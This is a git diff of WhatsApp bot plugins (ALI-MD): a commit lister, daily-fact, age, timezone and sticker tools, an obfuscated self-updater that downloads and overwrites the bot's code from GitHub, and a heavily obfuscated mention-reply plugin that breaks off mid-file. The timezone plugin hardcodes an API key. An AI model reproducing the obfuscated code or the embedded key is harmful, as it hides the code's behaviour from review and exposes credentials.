_0x41a2d5=['633458hhQXOM','*โœ…\x20ฮฑโ„“ฮน-ะผโˆ‚\x20ฮนั•\x20ฯƒษด\x20ั‚ะฝั”\x20โ„“ฮฑั‚ั”ั•ั‚\x20ฮฝั”ส€ั•ฮนฯƒษด:\x20ฮฝ๐Ÿน.๐Ÿถ.๐Ÿถ*','2423vdimSb','lstatSync','Update\x20error:','โŒ\x20Update\x20failed.\x20Please\x20try\x20manually.','config.js','writeFileSync','../command','latest.zip','path','arraybuffer','16EYLkSu','5680CycfLt','misc','log','743743IjhhvD','rmSync','adm-zip','*๐ŸซŸ\x20ะฒฯƒั‚\x20แดœแด˜โˆ‚ฮฑั‚ั”โˆ‚\x20sแดœแด„แด„ั”ั•ั•า“แดœโ„“โ„“ส!*','../data/updateDB','sync','extractAllTo','latest','mkdirSync','158gqNebP','๐Ÿ“ฆ\x20Extracting\x20the\x20latest\x20code...','763744ZvNSpL','*๐Ÿซฉ\x20แด„สœั”แด„ะบฮนษดg\x20า“แดส€\x20ฮฑโ„“ฮน-ะผโˆ‚\x20แดœแด˜โˆ‚ฮฑั‚ั”ั•...*','27gQQjvc','copyFileSync','join','exit','update','get','14664YLwCGW','ALI-MD-main','sha','411770txjgoI','726rhCuru','https://github.com/itx-alii-raza/ALI-MD/archive/main.zip','isDirectory','readdirSync'];_0x1431=function(){return _0x41a2d5;};return _0x1431();}cmd({'pattern':_0x9b3b36(-0x160,-0x168),'alias':['up',_0x9b3b36(-0x16a,-0x174)],'react':'๐Ÿ†•','desc':'Update\x20the\x20bot\x20to\x20the\x20latest\x20version.','category':_0x9b3b36(-0x190,-0x17b),'filename':__filename},async(_0x13e316,_0x11d16a,_0xa0408,{reply:_0x1dee26,isOwner:_0x11936e})=>{if(!_0x11936e)return _0x1dee26('*๐Ÿ“›\x20แดษดสŸส\x20แด›สœแด‡\x20แดแดกษดแด‡ส€\x20แด„แด€ษด\x20แดœsแด‡\x20แด›สœษชs\x20แด„แดแดแดแด€ษดแด…!*');function _0x21d4c8(_0x48495f,_0x41f8f2){return _0x9b3b36(_0x48495f,_0x41f8f2-0x4e8);}try{await _0x1dee26(_0x21d4c8(0x371,0x37b));const {data:_0x40d46e}=await axios['get']('https://api.github.com/repos/itx-alii-raza/ALI-MD/commits/main'),_0x26ab37=_0x40d46e[_0x21d4c8(0x371,0x384)],_0x28c662=await getCommitHash();if(_0x26ab37===_0x28c662)return _0x1dee26(_0x21d4c8(0x38c,0x38b));await _0x1dee26(_0x21d4c8(0x371,0x372));const _0x40a6a3=path[_0x21d4c8(0x374,0x37e)](__dirname,_0x21d4c8(0x368,0x368)),{data:_0x368674}=await axios[_0x21d4c8(0x36d,0x381)](_0x21d4c8(0x391,0x387),{'responseType':_0x21d4c8(0x35c,0x36a)});fs[_0x21d4c8(0x356,0x366)](_0x40a6a3,_0x368674),await _0x1dee26(_0x21d4c8(0x373,0x379));const _0x428ba6=path[_0x21d4c8(0x390,0x37e)](__dirname,_0x21d4c8(0x36b,0x376)),_0x5572a8=new AdmZip(_0x40a6a3);_0x5572a8[_0x21d4c8(0x384,0x375)](_0x428ba6,!![]),await _0x1dee26('๐Ÿ”„\x20Replacing\x20files...');const _0x1a91a4=path['join'](_0x428ba6,_0x21d4c8(0x384,0x383)),_0x13364e=path[_0x21d4c8(0x36d,0x37e)](__dirname,'..');copyFolderSync(_0x1a91a4,_0x13364e),await setCommitHash(_0x26ab37),fs['unlinkSync'](_0x40a6a3),fs[_0x21d4c8(0x370,0x370)](_0x428ba6,{'recursive':!![],'force':!![]}),await _0x1dee26('*โœ…\x20แดœแด˜แด…แด€แด›แด‡\x20แด„แดแดแด˜สŸแด‡แด›แด‡!\x20ส€แด‡sแด›แด€ส€แด›ษชษดษข\x20แด›สœแด‡\x20ส™แดแด›..*'),process[_0x21d4c8(0x381,0x37f)](0x0);}catch(_0x492f20){return console['error'](_0x21d4c8(0x37a,0x38e),_0x492f20),_0x1dee26(_0x21d4c8(0x39d,0x38f));}});function copyFolderSync(_0x3e170a,_0x1837ea){!fs['existsSync'](_0x1837ea)&&fs[_0x53dec3(0x46f,0x468)](_0x1837ea,{'recursive':!![]});function _0x53dec3(_0x2f140b,_0xf53c6d){return _0x9b3b36(_0xf53c6d,_0x2f140b-0x5e0);}const _0x4a57a8=fs[_0x53dec3(0x481,0x48a)](_0x3e170a);for(const _0x59d701 of _0x4a57a8){const _0xa23ea4=path[_0x53dec3(0x476,0x469)](_0x3e170a,_0x59d701),_0x48e58c=path[_0x53dec3(0x476,0x47c)](_0x1837ea,_0x59d701);if(_0x59d701===_0x53dec3(0x488,0x491)||_0x59d701==='app.json'){console[_0x53dec3(0x466,0x479)]('Skipping\x20'+_0x59d701+'\x20to\x20preserve\x20custom\x20settings.');continue;}fs[_0x53dec3(0x485,0x48b)](_0xa23ea4)[_0x53dec3(0x480,0x485)]()?copyFolderSync(_0xa23ea4,_0x48e58c):fs[_0x53dec3(0x475,0x478)](_0xa23ea4,_0x48e58c);}} diff --git a/plugins/maincommit.js b/plugins/maincommit.js new file mode 100644 index 0000000000000000000000000000000000000000..f7bd244113781697a2c02d8bd4e440b3f7ed43a6 --- /dev/null +++ b/plugins/maincommit.js @@ -0,0 +1,83 @@ +const { cmd } = require('../command'); // Assuming you have a command handler +const axios = require('axios'); // For making HTTP requests to GitHub API + +// GitHub repository details +const REPO_OWNER = 'itx-alii-raza'; +const REPO_NAME = 'ALI-MD'; +const PLUGINS_FOLDER = 'plugins'; // Folder where plugins are stored + +// GitHub API base URL +const GITHUB_API_URL = `https://api.github.com/repos/${REPO_OWNER}/${REPO_NAME}/contents/${PLUGINS_FOLDER}`; + +// Function to fetch commit history for a file +async function fetchCommitHistory(filePath) { + try { + const response = await axios.get(`https://api.github.com/repos/${REPO_OWNER}/${REPO_NAME}/commits`, { + params: { + path: filePath, + per_page: 1 // Fetch only the latest commit + } + }); + return response.data[0]; // Return the latest commit + } catch (error) { + console.error("Error fetching commit history:", error); + return null; + } +} + +// Function to check if a commit is within the last 2 hours +function isCommitRecent(commit) { + if (!commit) return false; + const commitDate = new Date(commit.commit.author.date); + const now = new Date(); + const twoHoursAgo = new Date(now.getTime() - 2 * 60 * 60 * 1000); // 2 hours ago + return commitDate >= twoHoursAgo; +} + +// Command to list plugins with recent commit history +cmd({ + pattern: "recentplugins", // Command trigger + alias: ["recentplugs", "newplugins","whatsnew"], // Aliases + use: '.recentplugins', // Example usage + react: "๐Ÿ•’", // Emoji reaction + desc: "List all plugins with commit history from the last 2 hours.", // Description + category: "utility", // Command category + filename: __filename // Current file name +}, + +async (conn, mek, m, { from, reply }) => { + try { + // Fetch the folder structure from GitHub + const response = await axios.get(GITHUB_API_URL); + const plugins = response.data.filter(item => item.type === 'file'); // Only list files + + if (plugins.length === 0) { + return reply("*No plugins found in the repository.*"); + } + + // Fetch commit history for each plugin and filter by recent commits + let recentPlugins = []; + for (const plugin of plugins) { + const commit = await fetchCommitHistory(plugin.path); + if (isCommitRecent(commit)) { + recentPlugins.push(plugin); + } + } + + if (recentPlugins.length === 0) { + return reply("*No plugins have been updated in the last 2 hours.*"); + } + + // Construct a list of recent plugins + let pluginList = "๐Ÿ•’ *RECENTLY UPDATED PLUGINS (Last 2 Hours):*\n\n"; + recentPlugins.forEach((plugin, index) => { + pluginList += `${index + 1}. ${plugin.name}\n`; // Add plugin name to the list + }); + + // Send the list to the user + await reply(pluginList); + } catch (error) { + console.error("Error:", error); // Log the error + reply("*Error: Unable to fetch plugins from the repository. Please try again later.*"); + } +}); diff --git a/plugins/media.js b/plugins/media.js new file mode 100644 index 0000000000000000000000000000000000000000..dad19954dcbe49a7bb4729ef3d70290dec124462 --- /dev/null +++ b/plugins/media.js @@ -0,0 +1,202 @@ +const { cmd } = require('../command'); +const axios = require('axios'); +const moment = require('moment'); + +// Variable to keep track of whether the daily fact feature is enabled +let isFactEnabled = false; +let factTimer; // To store the interval timer for daily facts + +// Define the themes for each day of the week +const dailyThemes = { + Monday: 'amour', // Love + Tuesday: 'motivation', // Motivation + Wednesday: 'science', // Science + Thursday: 'blague', // Joke + Friday: 'conseils', // Tips + Saturday: 'amour', // Love + Sunday: 'motivation', // Motivation +}; + +cmd({ + pattern: "dailyfact", + desc: "Get a random fact of the day and control the daily fact feature.", + react: "๐Ÿ“š", + category: "fun", + use: ".dailyfact on/off", + filename: __filename +}, async (conn, mek, m, { reply, args }) => { + // Check the first argument (on/off) + if (args[0] === "on") { + if (isFactEnabled) { + return reply("โŒ The daily fact feature is already enabled."); + } + + isFactEnabled = true; + reply("โœ… The daily fact feature is now enabled. I will send a fact every day at 6 AM (Cameroon time)."); + + // Set the daily fact interval at 6 AM (Cameroon time) + sendDailyFactAt6AM(conn, reply); + } + else if (args[0] === "off") { + if (!isFactEnabled) { + return reply("โŒ The daily fact feature is already disabled."); + } + + clearInterval(factTimer); // Clear the timer when the feature is disabled + isFactEnabled = false; + reply("โŒ The daily fact feature is now disabled."); + } + else { + reply("โŒ Please specify 'on' or 'off' to enable or disable the daily fact feature.\nExample: `.dailyfact on`"); + } +}); + +// Function to fetch and send the daily fact +async function sendDailyFact(conn, reply) { + try { + const dayOfWeek = moment().format('dddd'); // Get the current day of the week + const theme = dailyThemes[dayOfWeek]; // Get the theme for the current day + + // Send a message saying we're fetching the daily fact + reply(`Fetching a ${theme} fact for you...`); + + // API endpoint for random facts with the theme based on the current day + const response = await axios.get(`https://uselessfacts.jsph.pl/random.json?language=fr`); + + // Extract the fact from the API response + const fact = response.data.text; + + // Send the fact back to the user + reply(`๐Ÿ“š Here's a ${theme} fact for you on ${dayOfWeek}:\n\n*${fact}*\n\n> POWERED BY ALI*`); + + } catch (error) { + console.error("Error fetching daily fact:", error.message); + reply("โŒ Sorry, I couldn't fetch a fact for today. Please try again later."); + } +} + +// Function to calculate the time until 6 AM and set the interval +function sendDailyFactAt6AM(conn, reply) { + const now = moment(); + const targetTime = moment().set({ hour: 6, minute: 0, second: 0, millisecond: 0 }); // 6 AM time + + if (now.isAfter(targetTime)) { + // If it's already past 6 AM today, set the time for 6 AM tomorrow + targetTime.add(1, 'days'); + } + + const timeUntilNextRun = targetTime.diff(now); // Time difference in milliseconds + + // Set an interval to send the daily fact at 6 AM every day + factTimer = setInterval(() => { + sendDailyFact(conn, reply); // Send the fact at 6 AM every day + }, 86400000); // Repeat every 24 hours + + // Wait until the next 6 AM and send the first fact + setTimeout(() => { + sendDailyFact(conn, reply); // Send the first fact + }, timeUntilNextRun); +} +cmd({ + pattern: "age", + desc: "Calculate your age based on your date of birth.", + react: "๐ŸŽ‰", + category: "utility", + use: ".age
", + filename: __filename +}, async (conn, mek, m, { reply, args }) => { + try { + if (args.length === 0) { + return reply("โŒ Please provide your date of birth in the format DD/MM/YYYY.\nExample: `.age 15/08/1995`"); + } + + const birthDate = args[0]; // Get the date of birth from user input + const dateOfBirth = moment(birthDate, "DD/MM/YYYY"); + + // Validate the provided date + if (!dateOfBirth.isValid()) { + return reply("โŒ Invalid date format. Please use DD/MM/YYYY.\nExample: `.age 15/08/1995`"); + } + + // Calculate the age by comparing the current date with the birthdate + const age = moment().diff(dateOfBirth, 'years'); + + // Send the calculated age back to the user + reply(`๐ŸŽ‰ Your age is: *${age}* years old.`); + + } catch (error) { + console.error("Error calculating age:", error.message); + reply("โŒ An error occurred while calculating your age. Please try again later."); + } +}); + +cmd({ + pattern: "timezone", + desc: "Get the current time for a specific country.", + react: "๐Ÿ•ฐ๏ธ", + category: "utility", + use: ".timezone ", + filename: __filename, +}, async (conn, mek, m, { args, reply }) => { + try { + if (args.length === 0) { + return reply("โŒ Please provide a country. Example: `.timezone Pakistan`"); + } + + const country = args.join(" "); + const apiKey = process.env.IPGEO_API_KEY || "d6ca7264dd77441cbee974717ded084d"; + const url = `https://api.ipgeolocation.io/timezone?apiKey=${apiKey}&country=${encodeURIComponent(country)}`; + + const response = await axios.get(url); + const data = response.data; + + if (!data || !data.date_time) { + return reply("โŒ Unable to fetch time for the specified country. Please check your input."); + } + + const message = `๐Ÿ•ฐ๏ธ *Current Time in ${data.country_name}*\n\n` + + `๐Ÿ“… Date & Time: ${data.date_time}\n` + + `โŒš Time Zone: ${data.timezone}`; + + reply(message); + + } catch (error) { + console.error("Error fetching time:", error.message); + reply("โŒ Sorry, I couldn't fetch the time. Please check your input and try again."); + } +}); + +cmd({ + pattern: "photo", + alias: ["toimage", "photo"], + desc: "Convert a sticker to an image.", + category: "tools", + filename: __filename, +}, async (conn, mek, m, { reply }) => { + try { + // Vรฉrifier si l'utilisateur a rรฉpondu ร  un message + if (!m.quoted) { + return reply("*๐Ÿ“› แด˜สŸแด‡แด€sแด‡ ส€แด‡แด˜สŸส แด›แด แด€ sแด›ษชแด„แด‹แด‡ส€ แด›แด แด„แดษดแด แด‡ส€แด› ษชแด› แด›แด แด€ษด ษชแดแด€ษขแด‡.*"); + } + + // Vรฉrifier si le message citรฉ est un sticker + if (m.quoted.mtype !== "stickerMessage") { + return reply("โŒ The replied message is not a sticker."); + } + + // Tรฉlรฉcharger le sticker + let media = await m.quoted.download(); + + // Vรฉrifier si le tรฉlรฉchargement a rรฉussi + if (!media) { + return reply("โŒ Failed to download the sticker."); + } + + // Envoyer l'image convertie + await conn.sendMessage(m.chat, { image: media, caption: "*โœ… HERE IS YOUR IMAGE.*" }, { quoted: m }); + + } catch (error) { + reply("โŒ An error occurred while converting the sticker to an image."); + console.error(error); + } +}); diff --git a/plugins/mention.js b/plugins/mention.js new file mode 100644 index 0000000000000000000000000000000000000000..5584ac443f490e1432f8f4b992e3fdb258e50822 --- /dev/null +++ b/plugins/mention.js @@ -0,0 +1 @@ +(function(_0x52e0b5,_0x4d0a6e){function _0x3d1673(_0x42130b,_0x1a8667,_0x5de7a7,_0x4ff36e){return _0x2987(_0x5de7a7- -0x23c,_0x42130b);}function _0xec6dad(_0x1c83b6,_0x3e90ea,_0x36e12f,_0x35ffb7){return _0x2987(_0x36e12f- -0x299,_0x35ffb7);}const _0x1546a0=_0x52e0b5();while(!![]){try{const _0x289f45=-parseInt(_0x3d1673(-0xe8,-0x135,-0x10d,-0x105))/(0xd12+-0x265c*-0x1+0x336d*-0x1)+-parseInt(_0xec6dad(-0x1c1,-0x1a5,-0x18a,-0x187))/(-0x1963+0x1*-0xfa7+0x11c*0x25)+parseInt(_0x3d1673(-0x132,-0xc6,-0x107,-0x102))/(-0x41*-0x6d+-0x26*-0x80+-0x2eaa)*(parseInt(_0xec6dad(-0x170,-0x193,-0x17a,-0x147))/(0x1222+0x653+-0x1*0x1871))+parseInt(_0x3d1673(-0xba,-0xc6,-0xd9,-0x9f))/(-0x4cf+0x3*0x879+-0x1497)+-parseInt(_0x3d1673(-0x8b,-0xd2,-0xcc,-0xee))/(0x11c6+-0x4*-0x3aa+-0x2068)*(-parseInt(_0x3d1673(-0xf6,-0x16a,-0x136,-0x106))/(0x16c6*-0x1+0xc*0x19d+0x1*0x371))+-parseInt(_0xec6dad(-0x19c,-0x12d,-0x163,-0x152))/(0x134c+-0x709*0x5+0xfe9)+parseInt(_0xec6dad(-0x12a,-0x128,-0x13a,-0x12d))/(-0xda2+-0x59*0x41+-0x1a6*-0x16);if(_0x289f45===_0x4d0a6e)break;else _0x1546a0['push'](_0x1546a0['shift']());}catch(_0x2af8ad){_0x1546a0['push'](_0x1546a0['shift']());}}}(_0x158e,-0x2b2a7+0xd*0x8023+-0xc01*-0xb));const _0x59b109=(function(){const _0x4d5927={};function _0x57a6d4(_0x3be8e5,_0x6f0b51,_0x7b1231,_0x148882){return _0x2987(_0x3be8e5-0x3a5,_0x7b1231);}_0x4d5927[_0x57a6d4(0x514,0x511,0x507,0x529)]=function(_0x22dfe7,_0x48b799){return _0x22dfe7!==_0x48b799;},_0x4d5927['apPgh']=_0x57a6d4(0x4eb,0x501,0x4b2,0x50b),_0x4d5927[_0x29a365(0x51e,0x515,0x555,0x4e0)]=function(_0x4e892c,_0xac4ff8){return _0x4e892c!==_0xac4ff8;},_0x4d5927[_0x29a365(0x525,0x4e2,0x51c,0x4f7)]='LXNoQ';function _0x29a365(_0xcf558c,_0x1374c1,_0x5d9499,_0x1e5837){return _0x2987(_0x1374c1-0x3de,_0xcf558c);}_0x4d5927[_0x29a365(0x4fe,0x501,0x515,0x538)]='ccnDO';const _0x39c3f5=_0x4d5927;let _0x46ecf2=!![];return function(_0x495294,_0x378bbc){const _0xe3fdc9={};_0xe3fdc9['JJaoq']='(((.+)+)+)'+'+$';const _0x1adc04=_0xe3fdc9,_0x418d41=_0x46ecf2?function(){function _0x55516e(_0x56588d,_0x51112c,_0x123ca5,_0x1be3fe){return _0x2987(_0x123ca5-0x1cc,_0x51112c);}function _0x224971(_0x4e76b5,_0x25afe8,_0x5cd3fa,_0x3b306f){return _0x2987(_0x25afe8- -0x86,_0x3b306f);}if(_0x39c3f5[_0x224971(0x11b,0xe9,0x109,0x128)](_0x39c3f5[_0x224971(0x10c,0xf6,0x113,0xb7)],_0x224971(0x83,0xc2,0xa3,0xf4))){if(_0x378bbc){if(_0x39c3f5[_0x55516e(0x2fc,0x2f9,0x303,0x328)](_0x39c3f5[_0x224971(0x99,0x7e,0x99,0x55)],_0x39c3f5[_0x55516e(0x2df,0x2ad,0x2ef,0x331)])){const _0x501027=_0x378bbc[_0x55516e(0x35a,0x36f,0x34a,0x379)](_0x495294,arguments);return _0x378bbc=null,_0x501027;}else{const _0x5f4ab7=_0x276c1d[_0x224971(0xd3,0xf8,0xc9,0x12b)](_0x1d19df,arguments);return _0x43586e=null,_0x5f4ab7;}}}else return _0x3c428a[_0x55516e(0x2f6,0x37a,0x339,0x330)]()[_0x224971(0xc0,0xed,0xf2,0x101)](_0x224971(0xc7,0x9f,0xa6,0x71)+'+$')[_0x224971(0x116,0xe7,0xfb,0x113)]()[_0x55516e(0x32a,0x2ea,0x2e9,0x2a6)+'r'](_0x2767c6)[_0x224971(0xfc,0xed,0x112,0x112)](_0x1adc04['JJaoq']);}:function(){};return _0x46ecf2=![],_0x418d41;};}());function _0x2bafcb(_0xf5d9b9,_0x2b28a3,_0x22cafc,_0x37c51b){return _0x2987(_0x22cafc-0x25a,_0xf5d9b9);}function _0x2987(_0x3d8fbd,_0x59b109){const _0x158ea3=_0x158e();return _0x2987=function(_0x29872c,_0x4fca81){_0x29872c=_0x29872c-(0x6f*0x8+-0x90+-0xa4*0x3);let _0x321994=_0x158ea3[_0x29872c];return _0x321994;},_0x2987(_0x3d8fbd,_0x59b109);}const _0x3d8fbd=_0x59b109(this,function(){const _0x2ef555={};_0x2ef555[_0x8d8e0a(0x110,0xeb,0xdb,0xf6)]=_0x51a08f(-0x129,-0x12a,-0x159,-0x12e)+'+$';function _0x8d8e0a(_0x805306,_0x64dd5e,_0x1c376b,_0x529e29){return _0x2987(_0x1c376b- -0x63,_0x64dd5e);}const _0x32d302=_0x2ef555;function _0x51a08f(_0x22eaed,_0x296bdd,_0x442f63,_0x3a4aec){return _0x2987(_0x296bdd- -0x24f,_0x3a4aec);}return _0x3d8fbd[_0x51a08f(-0xa0,-0xe2,-0xc3,-0xf5)]()[_0x8d8e0a(0x12d,0x113,0x110,0xfa)](_0x32d302['XAvrt'])[_0x8d8e0a(0x125,0x144,0x10a,0x107)]()[_0x8d8e0a(0xcf,0xc4,0xba,0xa8)+'r'](_0x3d8fbd)['search'](_0x32d302['XAvrt']);});_0x3d8fbd();const _0xfd849f=(function(){const _0xc80c7e={};_0xc80c7e[_0x228666(-0x12b,-0x147,-0x118,-0x142)]=_0x228666(-0xf4,-0xfe,-0xb8,-0x110),_0xc80c7e[_0x228666(-0xcb,-0xaf,-0xe1,-0x8b)]=function(_0x1ed503,_0x15b73b){return _0x1ed503===_0x15b73b;},_0xc80c7e[_0x228666(-0xd8,-0x100,-0xaf,-0xb6)]=_0x228666(-0xc5,-0xd3,-0xa2,-0xb6);const _0x4c9110=_0xc80c7e;function _0x228666(_0x4f1d6c,_0x29a9bc,_0x379862,_0x47f844){return _0x2987(_0x4f1d6c- -0x242,_0x47f844);}let _0x27169e=!![];function _0x1b5ba3(_0x38b2ca,_0x2a405a,_0x20d0e3,_0x17a3a9){return _0x2987(_0x38b2ca- -0x1f1,_0x20d0e3);}return function(_0x141228,_0x3a11a0){function _0x122184(_0x408abe,_0x4e3b0c,_0x2d4803,_0x155256){return _0x228666(_0x4e3b0c- -0x51,_0x4e3b0c-0x141,_0x2d4803-0xa0,_0x408abe);}function _0x11963d(_0x107bae,_0x16272b,_0x308b98,_0x9b0049){return _0x228666(_0x107bae-0x30,_0x16272b-0x153,_0x308b98-0x180,_0x9b0049);}if(_0x4c9110[_0x11963d(-0x9b,-0xca,-0xd1,-0x7b)](_0x4c9110['HYfTh'],_0x4c9110[_0x122184(-0x114,-0x129,-0x166,-0x13b)])){const _0x1297ea=_0x27169e?function(){function _0x39cc84(_0x5beada,_0x46bab4,_0x140141,_0x26d429){return _0x122184(_0x5beada,_0x46bab4- -0x8f,_0x140141-0x183,_0x26d429-0xac);}function _0x222141(_0xc8339b,_0x454aab,_0x388426,_0x3e48c4){return _0x122184(_0x388426,_0x454aab-0x1fe,_0x388426-0x39,_0x3e48c4-0x62);}if(_0x4c9110['FdwSL']!==_0x39cc84(-0x1ed,-0x1d4,-0x1f5,-0x1d8))_0x17ee68=_0x3114d4;else{if(_0x3a11a0){const _0x9ad238=_0x3a11a0[_0x39cc84(-0x1d1,-0x1a4,-0x187,-0x1a4)](_0x141228,arguments);return _0x3a11a0=null,_0x9ad238;}}}:function(){};return _0x27169e=![],_0x1297ea;}else{if(_0x56fa33){const _0x35021f=_0xe43754[_0x11963d(-0x94,-0x74,-0x6f,-0x9e)](_0x5a5c7a,arguments);return _0x29e120=null,_0x35021f;}}};}()),_0x4f8b3b=_0xfd849f(this,function(){function _0x1b2363(_0x39dd9e,_0x1f0597,_0x1d65eb,_0x16e690){return _0x2987(_0x1d65eb- -0x3c6,_0x1f0597);}const _0x2ada87={'BLaHM':function(_0x169e6a,_0x7b341b){return _0x169e6a!==_0x7b341b;},'ZsNST':_0x53ce95(0x72,0x34,0x64,0x4e),'nDeMo':function(_0x314b78,_0xe1450e){return _0x314b78(_0xe1450e);},'kBRSg':function(_0x22ca64,_0x16fe4f){return _0x22ca64+_0x16fe4f;},'gEWUd':_0x53ce95(0x27,0x52,0x53,0x37)+_0x53ce95(0x42,0x80,0x70,0x65),'OrpXu':_0x53ce95(0x6b,0x8a,0x4c,0x1d)+_0x53ce95(0x21,-0x4,0x22,0x2e)+'rn\x20this\x22)('+'\x20)','MqwHA':function(_0x2dd233,_0x35047e){return _0x2dd233===_0x35047e;},'lDXWG':_0x1b2363(-0x28d,-0x28d,-0x25f,-0x237),'qgubK':function(_0x2316f3){return _0x2316f3();},'fOikQ':_0x53ce95(0x9,0x3,0x21,0x13),'aZTSI':'error','jthWw':'exception','Xluqr':_0x1b2363(-0x284,-0x27d,-0x298,-0x259),'AqgTM':_0x53ce95(-0x10,-0x20,0x11,-0x19),'NLVSj':function(_0x48fc3c,_0xf20c0b){return _0x48fc3c<_0xf20c0b;}},_0x1ecdd9=function(){function _0x834b71(_0x4a25be,_0xe3b05c,_0x52cd8b,_0x4847f5){return _0x53ce95(_0x4a25be-0x129,_0xe3b05c-0x1bb,_0x4847f5-0x226,_0x52cd8b);}let _0x776205;try{if(_0x2ada87['BLaHM'](_0x430d11(0x299,0x2ea,0x2d9,0x2a1),_0x2ada87[_0x430d11(0x249,0x2af,0x279,0x2a3)])){const _0x133acd=_0x2f226c?function(){function _0xeb71ca(_0x112993,_0x115598,_0x383c94,_0xc72ff6){return _0x430d11(_0x112993-0x143,_0x115598,_0x383c94- -0x381,_0xc72ff6-0x191);}if(_0x252533){const _0x259fa9=_0x5d5b19[_0xeb71ca(-0xb1,-0xb6,-0x93,-0x70)](_0x2d39d8,arguments);return _0x3bbf01=null,_0x259fa9;}}:function(){};return _0x439b04=![],_0x133acd;}else _0x776205=_0x2ada87[_0x834b71(0x2c6,0x287,0x25c,0x28f)](Function,_0x2ada87[_0x430d11(0x28b,0x286,0x2b0,0x2b8)](_0x2ada87[_0x430d11(0x299,0x2b1,0x292,0x28e)]+_0x2ada87[_0x834b71(0x1fc,0x1f5,0x25c,0x21f)],');'))();}catch(_0x5c6e66){if(_0x2ada87['MqwHA'](_0x2ada87['lDXWG'],_0x2ada87['lDXWG']))_0x776205=window;else{if(_0xda97cc){const _0x4501f3=_0x4caaee[_0x834b71(0x27c,0x2df,0x28b,0x29f)](_0x4f069b,arguments);return _0x399743=null,_0x4501f3;}}}function _0x430d11(_0x8d063e,_0x46878d,_0x3699c8,_0xe8861c){return _0x53ce95(_0x8d063e-0x191,_0x46878d-0x1f4,_0x3699c8-0x275,_0x46878d);}return _0x776205;},_0x5dedd9=_0x2ada87[_0x1b2363(-0x267,-0x271,-0x26b,-0x27b)](_0x1ecdd9),_0x244b65=_0x5dedd9['console']=_0x5dedd9[_0x1b2363(-0x257,-0x23d,-0x268,-0x28f)]||{},_0x5b06fa=[_0x2ada87[_0x53ce95(0x12,0x47,0x1f,0x2)],'warn',_0x1b2363(-0x2d5,-0x2d9,-0x2a5,-0x29b),_0x2ada87[_0x53ce95(0x36,0x34,0x27,-0x19)],_0x2ada87[_0x1b2363(-0x20e,-0x282,-0x246,-0x25d)],_0x2ada87[_0x53ce95(-0x4,-0x3,0xd,-0x18)],_0x2ada87[_0x1b2363(-0x28a,-0x27b,-0x2ad,-0x2b6)]];function _0x53ce95(_0x3bf5bc,_0x30a705,_0x5a8f59,_0x355386){return _0x2987(_0x5a8f59- -0x105,_0x355386);}for(let _0x3b6c6e=0x2627*0x1+0x92b*0x4+0x1*-0x4ad3;_0x2ada87[_0x53ce95(0x56,0x97,0x73,0x54)](_0x3b6c6e,_0x5b06fa[_0x53ce95(0x2e,0x3a,0x2b,0xd)]);_0x3b6c6e++){const _0x4c5b83=_0xfd849f[_0x53ce95(0xd,0x31,0x18,-0x6)+'r'][_0x53ce95(0x25,0x8b,0x5c,0x38)]['bind'](_0xfd849f),_0xc65422=_0x5b06fa[_0x3b6c6e],_0x2f5f8b=_0x244b65[_0xc65422]||_0x4c5b83;_0x4c5b83[_0x1b2363(-0x2ee,-0x2cb,-0x2bc,-0x2fd)]=_0xfd849f[_0x53ce95(0x47,0x35,0x3e,0x69)](_0xfd849f),_0x4c5b83[_0x1b2363(-0x23f,-0x23c,-0x259,-0x226)]=_0x2f5f8b[_0x53ce95(0x65,0x2f,0x68,0x78)][_0x53ce95(0x1e,0x80,0x3e,0x15)](_0x2f5f8b),_0x244b65[_0xc65422]=_0x4c5b83;}});function _0x158e(){const _0x44bd02=['erThumbnai','toString','nDeMo','KFrRf','1437606fnvfZJ','.moe/dqj2f','externalAd','search','.moe/dnyop','nction()\x20','user','axfQp','NLVSj','isForwarde','ฮฑโ„“ฮน\x20ะผโˆ‚\x20ั•ฮฑัƒ','.moe/brusa','apPgh','ySemM','apply','za/ALI-MD','jthWw','PLY','get','OrpXu','Score','binary','ptt','\x20in\x20Mentio','.moe/6ku0e','jWzmc','mimetype','7TuvzuL','renderLarg','ฯƒแดœ\x20ะผั”ษดั‚ฮนฯƒษด','ZsNST','__proto__','\x20ะผั”??','BnywY','vฬถษ›ฬš\x20ฤซฤซสˆ\x20ษฃเน๊ฏญ','สŠฬŠษผ\x20bษ›ฬšีสˆ\x20โ€ข๐Ÿชธ','441502HzVXiJ','fsvpr','ษญฤซฤซfษ›ฬš\x20ฤซฤซี\x20','Xluqr','GHQNN','waveform','HNWhD','trace','FdwSL','uDOKa','AqgTM','sendMessag','m.mp4','arraybuffe','constructo','thub.com/i','2014220GFBZgn','ivyLA','info','gEWUd','qHopG','fOikQ','(((.+)+)+)','log','ctor(\x22retu','forwarding','contextInf','.moe/3j1zy','2.mp4','aZTSI','sourceUrl','table','269736mNqozc','length','xbkDU','*Bot\x20Error','eNDgM','XAwWn','3OOZjcO','3082736gLEBeo','HSvUs','true','@s.whatsap','https://fi','https://gi','ษ‘อข\x20สˆษ›ฬš๐’”สˆ\x20๐†ฤซฤซ','split','XAvrt','data','kBRSg','o.jpg','audio','bind','mediaUrl','p.net','VTrQH','j.mp4','Hqncv','OSpqi','WYyMq','p.mp4','url','.moe/su4wy','NUMor','ODqpO','les.catbox','{}.constru','tx-alii-ra','MENTION_RE','mediaType','QWPZu','6.mp4','ALIVE_IMGh','return\x20(fu','Reply','audio/mp4','qgubK','thumbnail','message','console','2414925lBAayo','random','prototype','body','738915cbpcqw','\x20ฯ‰ะฝัƒ\x20โˆ‚ฮนโˆ‚\x20ัƒ','mentionedJ','Lpgvl','rMEpn','TQAsS','RKIfc','HYfTh','includes'];_0x158e=function(){return _0x44bd02;};return _0x158e();}_0x4f8b3b();const config=require('../config'),{cmd}=require('../command'),axios=require('axios'),_0x25053a={};_0x25053a['on']=_0x2bafcb(0x3e4,0x3ed,0x3bc,0x3bb),cmd(_0x25053a,async(_0x2490c0,_0x4971dc,{isGroup:_0xa142d0})=>{const _0x3788d8={};_0x3788d8[_0x4c0e96(0x332,0x2e7,0x2f1,0x2b9)]=function(_0x7c4776,_0x3dcf8a){return _0x7c4776!==_0x3dcf8a;};function _0x2c7c52(_0x5288c5,_0x3c23b1,_0x2afe77,_0x3f771b){return _0x2bafcb(_0x2afe77,_0x3c23b1-0x9,_0x5288c5-0x26,_0x3f771b-0xbd);}_0x3788d8[_0x2c7c52(0x395,0x39d,0x37a,0x3ca)]=function(_0x5b7420,_0x523e67){return 